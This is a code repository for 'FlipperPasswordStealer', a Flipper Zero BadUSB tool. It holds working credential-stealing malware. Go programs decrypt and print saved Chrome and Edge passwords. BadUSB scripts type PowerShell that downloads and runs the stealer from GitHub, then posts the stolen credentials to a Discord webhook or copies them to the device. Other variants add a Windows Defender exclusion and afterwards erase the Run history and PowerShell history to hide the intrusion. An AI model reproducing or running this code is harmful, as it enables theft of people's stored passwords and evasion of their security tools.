├── .gitignore ├── go.mod ├── README.md ├── edgePasswords_webhook.js ├── chromePasswords_webhook.js ├── go.sum ├── edgePassword_ms.js ├── chromePassword_ms.js ├── chrome └── main.go └── edge └── mainEdge.go /.gitignore: -------------------------------------------------------------------------------- 1 | /.env 2 | .idea -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module FlipperPasswordStealer 2 | 3 | go 1.22 4 | 5 | require github.com/glebarez/go-sqlite v1.22.0 6 | 7 | require ( 8 | github.com/dustin/go-humanize v1.0.1 // indirect 9 | github.com/google/uuid v1.5.0 // indirect 10 | github.com/mattn/go-isatty v0.0.20 // indirect 11 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect 12 | golang.org/x/sys v0.15.0 // indirect 13 | modernc.org/libc v1.37.6 // indirect 14 | modernc.org/mathutil v1.6.0 // indirect 15 | modernc.org/memory v1.7.2 // indirect 16 | modernc.org/sqlite v1.28.0 // indirect 17 | ) 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FlipperPasswordExtractor 2 | Extract saved browser passwords to a webhook or save them locally on the Flipper Zero.
3 | Currently supports: 4 | - Chrome Browser 5 | - Edge Browser 6 | 7 | The extractor is written in `Golang`,and the current build is compiled for Windows. The Flipper Zero JavaScript script downloads the binary, runs it, and either sends the output to the defined Discord webhook or saves it locally to the Flipper Zero, depending on which JavaScript script is used. 8 | 9 | ## Features 10 | - Extract saved passwords from Chrome and Edge browsers. 11 | - Send extracted passwords to a Discord webhook. 12 | - Save extracted passwords locally on the Flipper Zero as a mass storage image. 13 | 14 | ## setup 15 | ### Webhook Script 16 | - Add your webhook url to the .js file 17 | - Add chrome/edge javascript to your flipper 18 | 19 | ### Flipper Storage Script 20 | - Add the new Chrome/Edge JavaScript scripts to your Flipper. 21 | - These scripts will create mass storage images (chrome_loot.img and edge_loot.img) on the Flipper Zero. 22 | - The output from the Chrome and Edge executables will be saved to their respective mass storage images. 23 | - Each image will contain a folder named with the date the script is run. 24 | - Inside the date folder, the extracted passwords will be saved as a .txt file in the format {computername}_{Time}.txt. 25 | 26 | ## optimizing build size 27 | add these flags when building 28 | ```-ldflags="-w -s" -gcflags=all=-l``` 29 | -------------------------------------------------------------------------------- /edgePasswords_webhook.js: -------------------------------------------------------------------------------- 1 | let badusb = require("badusb"); 2 | 3 | let script = [ 4 | "$webhookUrl = '';", //Add your webhook url here. 5 | "$exeUrl = 'https://github.com/RiadZX/FlipperPasswordStealer/raw/master/build/edge.exe';", 6 | "$exePath = '.\\edge.exe';", 7 | "if (-not (Test-Path -Path $exePath)) {Invoke-WebRequest -Uri $exeUrl -OutFile $exePath;}", 8 | "$commandOutput = & $exePath | Out-String;", 9 | "$chunks = [Math]::Ceiling($commandOutput.Length / 2000);for ($i = 0; $i -lt $chunks; $i++) {$start = $i * 2000;$length = [Math]::Min(2000, $commandOutput.Length - $start);$content = $commandOutput.Substring($start, $length);" + 10 | "$webhookContent = @{'username' = 'Flipper';'content' = $content;};" + //Adjust this to match your webhook format. 11 | "$jsonData = ConvertTo-Json -InputObject $webhookContent;Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $jsonData -ContentType 'application/json';Start-Sleep -Seconds 1;}" 12 | ]; 13 | 14 | badusb.setup({ 15 | vid: 0xAAAA, 16 | pid: 0xBBBB, 17 | mfr_name: "Flipper", 18 | prod_name: "Zero", 19 | layout_path: "/ext/badusb/assets/layouts/en-US.kl" 20 | }); 21 | 22 | let command = ""; 23 | for (let i = 0; i < script.length; i++) { 24 | command += script[i]; 25 | } 26 | 27 | print("Waiting for connection"); 28 | while (!badusb.isConnected()) { 29 | delay(1000); 30 | } 31 | 32 | badusb.press("GUI", "x"); 33 | delay(300); 34 | badusb.press("i"); 35 | delay(3000); 36 | print("Running payload"); 37 | badusb.println(command, 10); 38 | badusb.press("ENTER"); 39 | badusb.quit(); 40 | print("done :)"); 41 | -------------------------------------------------------------------------------- /chromePasswords_webhook.js: -------------------------------------------------------------------------------- 1 | let badusb = require("badusb"); 2 | 3 | let script = [ 4 | "$webhookUrl = '';", //Add your webhook url here. 5 | "$exeUrl = 'https://github.com/RiadZX/FlipperPasswordStealer/raw/master/build/chrome.exe';", 6 | "$exePath = '.\\chrome.exe';", 7 | "if (-not (Test-Path -Path $exePath)) {Invoke-WebRequest -Uri $exeUrl -OutFile $exePath;}", 8 | "$commandOutput = & $exePath | Out-String;", 9 | "$chunks = [Math]::Ceiling($commandOutput.Length / 2000);for ($i = 0; $i -lt $chunks; $i++) {$start = $i * 2000;$length = [Math]::Min(2000, $commandOutput.Length - $start);$content = $commandOutput.Substring($start, $length);" + 10 | "$webhookContent = @{'username' = 'Flipper';'content' = $content;};" + //Adjust this to match your webhook format. 11 | "$jsonData = ConvertTo-Json -InputObject $webhookContent;Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $jsonData -ContentType 'application/json';Start-Sleep -Seconds 1;}" 12 | ]; 13 | 14 | badusb.setup({ 15 | vid: 0xAAAA, 16 | pid: 0xBBBB, 17 | mfr_name: "Flipper", 18 | prod_name: "Zero", 19 | layout_path: "/ext/badusb/assets/layouts/en-US.kl" 20 | }); 21 | 22 | let command = ""; 23 | for (let i = 0; i < script.length; i++) { 24 | command += script[i]; 25 | } 26 | 27 | print("Waiting for connection"); 28 | while (!badusb.isConnected()) { 29 | delay(1000); 30 | } 31 | 32 | badusb.press("GUI", "x"); 33 | delay(300); 34 | badusb.press("i"); 35 | delay(3000); 36 | print("Running payload"); 37 | badusb.println(command, 10); 38 | badusb.press("ENTER"); 39 | badusb.quit(); 40 | print("done :)"); 41 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= 2 | github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= 3 | github.com/glebarez/go-sqlite v1.22.0 h1:uAcMJhaA6r3LHMTFgP0SifzgXg46yJkgxqyuyec+ruQ= 4 | github.com/glebarez/go-sqlite v1.22.0/go.mod h1:PlBIdHe0+aUEFn+r2/uthrWq4FxbzugL0L8Li6yQJbc= 5 | github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ= 6 | github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo= 7 | github.com/google/uuid v1.5.0 h1:1p67kYwdtXjb0gL0BPiP1Av9wiZPo5A8z2cWkTZ+eyU= 8 | github.com/google/uuid v1.5.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 9 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 10 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 11 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= 12 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= 13 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 14 | golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= 15 | golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 16 | modernc.org/libc v1.37.6 h1:orZH3c5wmhIQFTXF+Nt+eeauyd+ZIt2BX6ARe+kD+aw= 17 | modernc.org/libc v1.37.6/go.mod h1:YAXkAZ8ktnkCKaN9sw/UDeUVkGYJ/YquGO4FTi5nmHE= 18 | modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4= 19 | modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo= 20 | modernc.org/memory v1.7.2 h1:Klh90S215mmH8c9gO98QxQFsY+W451E8AnzjoE2ee1E= 21 | modernc.org/memory v1.7.2/go.mod h1:NO4NVCQy0N7ln+T9ngWqOQfi7ley4vpwvARR+Hjw95E= 22 | modernc.org/sqlite v1.28.0 h1:Zx+LyDDmXczNnEQdvPuEfcFVA2ZPyaD7UCZDjef3BHQ= 23 | modernc.org/sqlite v1.28.0/go.mod h1:Qxpazz0zH8Z1xCFyi5GSL3FzbtZ3fvbjmywNogldEW0= 24 | -------------------------------------------------------------------------------- /edgePassword_ms.js: -------------------------------------------------------------------------------- 1 | // Requirements 2 | let badusb = require("badusb"); 3 | let usbdisk = require("usbdisk"); 4 | let storage = require("storage"); 5 | 6 | // Mass storage details 7 | let image = "/ext/apps_data/mass_storage/edge_loot.img"; 8 | let size = 8 * 1024 * 1024; // 8 MB 9 | 10 | // PowerShell script 11 | let script = [ 12 | "$currentDirectory = Get-Location;", 13 | "Add-MpPreference -ExclusionPath $currentDirectory.Path;", 14 | "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date 15 | "$Time = Get-Date -Format hh-mm-ss;",//Get Time 16 | "$exeUrl = 'https://github.com/RiadZX/FlipperPasswordExtractor/raw/master/build/edge.exe';", // URL of the executable 17 | "$exePath = '.\\edge.exe';", // Path where the executable will be saved in the current directory 18 | "if (-not (Test-Path -Path $exePath)) {Invoke-WebRequest -Uri $exeUrl -OutFile $exePath;}", // Download the executable if it doesn't exist 19 | "$commandOutput = & \"$exePath\" | Out-String;", // Execute the command and capture the output 20 | "$fileName = '.\\edge.txt';", //Output filename 21 | "$commandOutput | Out-File -FilePath $fileName;", // Save the output to a file 22 | ]; 23 | 24 | 25 | // Script crawler 26 | let command = ""; 27 | for (let i = 0; i < script.length; i++) { 28 | command += script[i]; 29 | } 30 | 31 | // Check if mass storage already exists 32 | print("Checking for Image..."); 33 | if (storage.exists(image)) { 34 | print("Storage Exists."); 35 | } else { 36 | print("Creating Storage..."); 37 | usbdisk.createImage(image, size); 38 | } 39 | 40 | // VID & PID as HID 41 | badusb.setup({ 42 | vid: 0xAAAA, 43 | pid: 0xBBBB, 44 | mfr_name: "Flipper", 45 | prod_name: "Zero", 46 | layout_path: "/ext/badusb/assets/layouts/en-US.kl" 47 | }); 48 | 49 | print("Waiting for connection"); 50 | while (!badusb.isConnected()) { 51 | delay(1000); 52 | } 53 | 54 | badusb.press("GUI", "r"); // Open Run 55 | delay(300); 56 | badusb.println('powershell -Command "Start-Process powershell -Verb RunAs"'); 57 | delay(1000); 58 | badusb.press("LEFT"); 59 | delay(500); 60 | badusb.press("ENTER"); 61 | delay(2000); 62 | 63 | print("Running payload"); 64 | badusb.println(command, 1);//Run Script Crawler 65 | delay(9000) 66 | 67 | badusb.println("Start-Sleep 8; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path edge.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; Remove-Item edge.exe; $currentDirectory = Get-Location; Remove-MpPreference -ExclusionPath $currentDirectory.Path; reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue; exit") 68 | badusb.quit(); 69 | delay(2000); 70 | usbdisk.start(image);//Open MassStorage Folder 71 | print("Please wait until powershell closes to eject"); 72 | 73 | // Wait for user to eject the mass storage 74 | while (!usbdisk.wasEjected()) { 75 | delay(1000); 76 | } 77 | 78 | // Stop the script 79 | usbdisk.stop(); 80 | print("Done"); 81 | 82 | 83 | -------------------------------------------------------------------------------- /chromePassword_ms.js: -------------------------------------------------------------------------------- 1 | // Requirements 2 | let badusb = require("badusb"); 3 | let usbdisk = require("usbdisk"); 4 | let storage = require("storage"); 5 | 6 | // Mass storage details 7 | let image = "/ext/apps_data/mass_storage/chrome_loot.img"; 8 | let size = 8 * 1024 * 1024; // 8 MB 9 | 10 | // PowerShell script 11 | let script = [ 12 | "$currentDirectory = Get-Location;", 13 | "Add-MpPreference -ExclusionPath $currentDirectory.Path;", 14 | "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date 15 | "$Time = Get-Date -Format hh-mm-ss;",//Get Time 16 | "$exeUrl = 'https://github.com/RiadZX/FlipperPasswordStealer/raw/master/build/chrome.exe';", // URL of the executable 17 | "$exePath = '.\\chrome.exe';", // Path where the executable will be saved in the current directory 18 | "if (-not (Test-Path -Path $exePath)) {Invoke-WebRequest -Uri $exeUrl -OutFile $exePath;}", // Download the executable if it doesn't exist 19 | "$commandOutput = & \"$exePath\" | Out-String;", // Execute the command and capture the output 20 | "$fileName = '.\\chrome.txt';", //Output filename 21 | "$commandOutput | Out-File -FilePath $fileName;", // Save the output to a file 22 | ]; 23 | 24 | 25 | // Script crawler 26 | let command = ""; 27 | for (let i = 0; i < script.length; i++) { 28 | command += script[i]; 29 | } 30 | 31 | // Check if mass storage already exists 32 | print("Checking for Image..."); 33 | if (storage.exists(image)) { 34 | print("Storage Exists."); 35 | } else { 36 | print("Creating Storage..."); 37 | usbdisk.createImage(image, size); 38 | } 39 | 40 | // VID & PID as HID 41 | badusb.setup({ 42 | vid: 0xAAAA, 43 | pid: 0xBBBB, 44 | mfr_name: "Flipper", 45 | prod_name: "Zero", 46 | layout_path: "/ext/badusb/assets/layouts/en-US.kl" 47 | }); 48 | 49 | print("Waiting for connection"); 50 | while (!badusb.isConnected()) { 51 | delay(1000); 52 | } 53 | 54 | badusb.press("GUI", "r"); // Open Run 55 | delay(300); 56 | badusb.println('powershell -Command "Start-Process powershell -Verb RunAs"'); 57 | delay(1000); 58 | badusb.press("LEFT"); 59 | delay(500); 60 | badusb.press("ENTER"); 61 | delay(2000); 62 | 63 | print("Running payload"); 64 | badusb.println(command, 1);//Run Script Crawler 65 | delay(9000) 66 | 67 | badusb.println("Start-Sleep 8; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path chrome.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; Remove-Item chrome.exe; $currentDirectory = Get-Location; Remove-MpPreference -ExclusionPath $currentDirectory.Path; reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue; exit") 68 | badusb.quit(); 69 | delay(2000); 70 | usbdisk.start(image);//Open MassStorage Folder 71 | print("Please wait until powershell closes to eject"); 72 | 73 | // Wait for user to eject the mass storage 74 | while (!usbdisk.wasEjected()) { 75 | delay(1000); 76 | } 77 | 78 | // Stop the script 79 | usbdisk.stop(); 80 | print("Done"); 81 | 82 | 83 | -------------------------------------------------------------------------------- /chrome/main.go: -------------------------------------------------------------------------------- 1 | //Windows Only 2 | 3 | //SQLLite3 - github.com/mattn/go-sqlite3 4 | //Using Crypt32.dll (win32crypt) for decryption 5 | 6 | //C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default 7 | 8 | package main 9 | 10 | import ( 11 | "crypto/aes" 12 | "crypto/cipher" 13 | "database/sql" 14 | "encoding/base64" 15 | "encoding/json" 16 | "fmt" 17 | _ "github.com/glebarez/go-sqlite" 18 | "io" 19 | "io/ioutil" 20 | "log" 21 | "os" 22 | "strings" 23 | "syscall" 24 | "unsafe" 25 | ) 26 | 27 | var ( 28 | dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll") 29 | dllkernel32 = syscall.NewLazyDLL("Kernel32.dll") 30 | 31 | procDecryptData = dllcrypt32.NewProc("CryptUnprotectData") 32 | procLocalFree = dllkernel32.NewProc("LocalFree") 33 | 34 | dataPath = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" 35 | localStatePath = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" 36 | ) 37 | 38 | type DataBlob struct { 39 | cbData uint32 40 | pbData *byte 41 | } 42 | 43 | func NewBlob(d []byte) *DataBlob { 44 | if len(d) == 0 { 45 | return &DataBlob{} 46 | } 47 | return &DataBlob{ 48 | pbData: &d[0], 49 | cbData: uint32(len(d)), 50 | } 51 | } 52 | 53 | func (b *DataBlob) ToByteArray() []byte { 54 | d := make([]byte, b.cbData) 55 | copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) 56 | return d 57 | } 58 | 59 | func Decrypt(data []byte) ([]byte, error) { 60 | var outblob DataBlob 61 | r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob))) 62 | if r == 0 { 63 | return nil, err 64 | } 65 | defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData))) 66 | return outblob.ToByteArray(), nil 67 | } 68 | 69 | func copyFileToDirectory(pathSourceFile string, pathDestFile string) error { 70 | sourceFile, err := os.Open(pathSourceFile) 71 | if err != nil { 72 | return err 73 | } 74 | defer sourceFile.Close() 75 | 76 | destFile, err := os.Create(pathDestFile) 77 | if err != nil { 78 | return err 79 | } 80 | defer destFile.Close() 81 | 82 | _, err = io.Copy(destFile, sourceFile) 83 | if err != nil { 84 | return err 85 | } 86 | 87 | err = destFile.Sync() 88 | if err != nil { 89 | return err 90 | } 91 | 92 | sourceFileInfo, err := sourceFile.Stat() 93 | if err != nil { 94 | return err 95 | } 96 | 97 | destFileInfo, err := destFile.Stat() 98 | if err != nil { 99 | return err 100 | } 101 | 102 | if sourceFileInfo.Size() == destFileInfo.Size() { 103 | } else { 104 | return err 105 | } 106 | return nil 107 | } 108 | 109 | func checkFileExist(filePath string) bool { 110 | if _, err := os.Stat(filePath); os.IsNotExist(err) { 111 | return false 112 | } else { 113 | return true 114 | } 115 | } 116 | 117 | func getMasterKey() ([]byte, error) { 118 | 119 | var masterKey []byte 120 | 121 | // Get the master key 122 | // The master key is the key with which chrome encode the passwords but it has some suffixes and we need to work on it 123 | jsonFile, err := os.Open(localStatePath) // The rough key is stored in the Local State File which is a json file 124 | if err != nil { 125 | return masterKey, err 126 | } 127 | 128 | defer jsonFile.Close() 129 | 130 | byteValue, err := ioutil.ReadAll(jsonFile) 131 | if err != nil { 132 | return masterKey, err 133 | } 134 | var result map[string]interface{} 135 | json.Unmarshal([]byte(byteValue), &result) 136 | roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string) // Found parsing the json in it 137 | decodedKey, err := base64.StdEncoding.DecodeString(roughKey) // It's stored in Base64 so.. Let's decode it 138 | stringKey := string(decodedKey) 139 | stringKey = strings.Trim(stringKey, "DPAPI") // The key is encrypted using the windows DPAPI method and signed with it. the key looks like "DPAPI05546sdf879z456..." Let's Remove DPAPI. 140 | 141 | masterKey, err = Decrypt([]byte(stringKey)) // Decrypt the key using the dllcrypt32 dll. 142 | if err != nil { 143 | return masterKey, err 144 | } 145 | 146 | return masterKey, nil 147 | 148 | } 149 | 150 | func main() { 151 | //Check for Login Data file 152 | if !checkFileExist(dataPath) { 153 | os.Exit(0) 154 | } 155 | 156 | //Copy Login Data file to temp location 157 | err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat") 158 | if err != nil { 159 | log.Fatal(err) 160 | } 161 | 162 | //Open Database 163 | db, err := sql.Open("sqlite", os.Getenv("APPDATA")+"\\tempfile.dat") 164 | if err != nil { 165 | log.Fatal(err) 166 | } 167 | defer db.Close() 168 | 169 | //Select Rows to get data from 170 | rows, err := db.Query("select origin_url, username_value, password_value from logins") 171 | 172 | if err != nil { 173 | log.Fatal(err) 174 | } 175 | defer rows.Close() 176 | masterKey, err := getMasterKey() 177 | if err != nil { 178 | fmt.Println(err) 179 | } 180 | for rows.Next() { 181 | var URL string 182 | var USERNAME string 183 | var PASSWORD string 184 | 185 | err = rows.Scan(&URL, &USERNAME, &PASSWORD) 186 | if err != nil { 187 | log.Fatal(err) 188 | } 189 | //Decrypt Passwords 190 | if strings.HasPrefix(PASSWORD, "v10") { // Means it's chrome 80 or higher 191 | PASSWORD = strings.Trim(PASSWORD, "v10") 192 | 193 | //fmt.Println("Chrome Version is 80 or higher, switching to the AES 256 decrypt.") 194 | if string(masterKey) != "" { 195 | ciphertext := []byte(PASSWORD) 196 | c, err := aes.NewCipher(masterKey) 197 | if err != nil { 198 | 199 | fmt.Println(err) 200 | } 201 | gcm, err := cipher.NewGCM(c) 202 | if err != nil { 203 | fmt.Println(err) 204 | } 205 | nonceSize := gcm.NonceSize() 206 | if len(ciphertext) < nonceSize { 207 | fmt.Println(err) 208 | } 209 | 210 | nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] 211 | plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) 212 | if err != nil { 213 | fmt.Println(err) 214 | } 215 | if string(plaintext) != "" { 216 | fmt.Println(URL, " | ", USERNAME, " | ", string(plaintext)) 217 | 218 | } 219 | } else { // It the masterkey hasn't been requested yet, then gets it. 220 | mkey, err := getMasterKey() 221 | if err != nil { 222 | fmt.Println(err) 223 | } 224 | masterKey = mkey 225 | } 226 | } else { //Means it's chrome v. < 80 227 | pass, err := Decrypt([]byte(PASSWORD)) 228 | if err != nil { 229 | log.Fatal(err) 230 | } 231 | 232 | if URL != "" && string(pass) != "" { 233 | fmt.Println(URL, USERNAME, string(pass)) 234 | } 235 | } 236 | } 237 | err = rows.Err() 238 | if err != nil { 239 | log.Fatal(err) 240 | } 241 | 242 | } 243 | -------------------------------------------------------------------------------- /edge/mainEdge.go: -------------------------------------------------------------------------------- 1 | //Windows Only 2 | 3 | //SQLLite3 - github.com/mattn/go-sqlite3 4 | //Using Crypt32.dll (win32crypt) for decryption 5 | 6 | //C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default 7 | 8 | package main 9 | 10 | import ( 11 | "crypto/aes" 12 | "crypto/cipher" 13 | "database/sql" 14 | "encoding/base64" 15 | "encoding/json" 16 | "fmt" 17 | _ "github.com/glebarez/go-sqlite" 18 | "io" 19 | "io/ioutil" 20 | "log" 21 | "os" 22 | "strings" 23 | "syscall" 24 | "unsafe" 25 | ) 26 | 27 | var ( 28 | dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll") 29 | dllkernel32 = syscall.NewLazyDLL("Kernel32.dll") 30 | 31 | procDecryptData = dllcrypt32.NewProc("CryptUnprotectData") 32 | procLocalFree = dllkernel32.NewProc("LocalFree") 33 | 34 | dataPathEdge = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data" 35 | localStatePathEdge = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State" 36 | ) 37 | 38 | type DataBlob struct { 39 | cbData uint32 40 | pbData *byte 41 | } 42 | 43 | func NewBlob(d []byte) *DataBlob { 44 | if len(d) == 0 { 45 | return &DataBlob{} 46 | } 47 | return &DataBlob{ 48 | pbData: &d[0], 49 | cbData: uint32(len(d)), 50 | } 51 | } 52 | 53 | func (b *DataBlob) ToByteArray() []byte { 54 | d := make([]byte, b.cbData) 55 | copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) 56 | return d 57 | } 58 | 59 | func Decrypt(data []byte) ([]byte, error) { 60 | var outblob DataBlob 61 | r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob))) 62 | if r == 0 { 63 | return nil, err 64 | } 65 | defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData))) 66 | return outblob.ToByteArray(), nil 67 | } 68 | 69 | func copyFileToDirectory(pathSourceFile string, pathDestFile string) error { 70 | sourceFile, err := os.Open(pathSourceFile) 71 | if err != nil { 72 | return err 73 | } 74 | defer sourceFile.Close() 75 | 76 | destFile, err := os.Create(pathDestFile) 77 | if err != nil { 78 | return err 79 | } 80 | defer destFile.Close() 81 | 82 | _, err = io.Copy(destFile, sourceFile) 83 | if err != nil { 84 | return err 85 | } 86 | 87 | err = destFile.Sync() 88 | if err != nil { 89 | return err 90 | } 91 | 92 | sourceFileInfo, err := sourceFile.Stat() 93 | if err != nil { 94 | return err 95 | } 96 | 97 | destFileInfo, err := destFile.Stat() 98 | if err != nil { 99 | return err 100 | } 101 | 102 | if sourceFileInfo.Size() == destFileInfo.Size() { 103 | } else { 104 | return err 105 | } 106 | return nil 107 | } 108 | 109 | func checkFileExist(filePath string) bool { 110 | if _, err := os.Stat(filePath); os.IsNotExist(err) { 111 | return false 112 | } else { 113 | return true 114 | } 115 | } 116 | 117 | func getMasterKey() ([]byte, error) { 118 | 119 | var masterKey []byte 120 | 121 | // Get the master key 122 | // The master key is the key with which chrome encode the passwords but it has some suffixes and we need to work on it 123 | jsonFile, err := os.Open(localStatePathEdge) // The rough key is stored in the Local State File which is a json file 124 | if err != nil { 125 | return masterKey, err 126 | } 127 | 128 | defer jsonFile.Close() 129 | 130 | byteValue, err := ioutil.ReadAll(jsonFile) 131 | if err != nil { 132 | return masterKey, err 133 | } 134 | var result map[string]interface{} 135 | json.Unmarshal([]byte(byteValue), &result) 136 | roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string) // Found parsing the json in it 137 | decodedKey, err := base64.StdEncoding.DecodeString(roughKey) // It's stored in Base64 so.. Let's decode it 138 | stringKey := string(decodedKey) 139 | stringKey = strings.Trim(stringKey, "DPAPI") // The key is encrypted using the windows DPAPI method and signed with it. the key looks like "DPAPI05546sdf879z456..." Let's Remove DPAPI. 140 | 141 | masterKey, err = Decrypt([]byte(stringKey)) // Decrypt the key using the dllcrypt32 dll. 142 | if err != nil { 143 | return masterKey, err 144 | } 145 | 146 | return masterKey, nil 147 | 148 | } 149 | 150 | func main() { 151 | //Check for Login Data file 152 | if !checkFileExist(dataPathEdge) { 153 | os.Exit(0) 154 | } 155 | 156 | //Copy Login Data file to temp location 157 | err := copyFileToDirectory(dataPathEdge, os.Getenv("APPDATA")+"\\tempfile.dat") 158 | if err != nil { 159 | log.Fatal(err) 160 | } 161 | 162 | //Open Database 163 | db, err := sql.Open("sqlite", os.Getenv("APPDATA")+"\\tempfile.dat") 164 | if err != nil { 165 | log.Fatal(err) 166 | } 167 | defer db.Close() 168 | 169 | //Select Rows to get data from 170 | rows, err := db.Query("select origin_url, username_value, password_value from logins") 171 | 172 | if err != nil { 173 | log.Fatal(err) 174 | } 175 | defer rows.Close() 176 | masterKey, err := getMasterKey() 177 | if err != nil { 178 | fmt.Println(err) 179 | } 180 | for rows.Next() { 181 | var URL string 182 | var USERNAME string 183 | var PASSWORD string 184 | 185 | err = rows.Scan(&URL, &USERNAME, &PASSWORD) 186 | if err != nil { 187 | log.Fatal(err) 188 | } 189 | //Decrypt Passwords 190 | if strings.HasPrefix(PASSWORD, "v10") { // Means it's chrome 80 or higher 191 | PASSWORD = strings.Trim(PASSWORD, "v10") 192 | 193 | //fmt.Println("Chrome Version is 80 or higher, switching to the AES 256 decrypt.") 194 | if string(masterKey) != "" { 195 | ciphertext := []byte(PASSWORD) 196 | c, err := aes.NewCipher(masterKey) 197 | if err != nil { 198 | 199 | fmt.Println(err) 200 | } 201 | gcm, err := cipher.NewGCM(c) 202 | if err != nil { 203 | fmt.Println(err) 204 | } 205 | nonceSize := gcm.NonceSize() 206 | if len(ciphertext) < nonceSize { 207 | fmt.Println(err) 208 | } 209 | 210 | nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] 211 | plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) 212 | if err != nil { 213 | fmt.Println(err) 214 | } 215 | if string(plaintext) != "" { 216 | fmt.Println(URL, " | ", USERNAME, " | ", string(plaintext)) 217 | 218 | } 219 | } else { // It the masterkey hasn't been requested yet, then gets it. 220 | mkey, err := getMasterKey() 221 | if err != nil { 222 | fmt.Println(err) 223 | } 224 | masterKey = mkey 225 | } 226 | } else { //Means it's chrome v. < 80 227 | pass, err := Decrypt([]byte(PASSWORD)) 228 | if err != nil { 229 | log.Fatal(err) 230 | } 231 | 232 | if URL != "" && string(pass) != "" { 233 | fmt.Println(URL, USERNAME, string(pass)) 234 | } 235 | } 236 | } 237 | err = rows.Err() 238 | if err != nil { 239 | log.Fatal(err) 240 | } 241 | 242 | } 243 | --------------------------------------------------------------------------------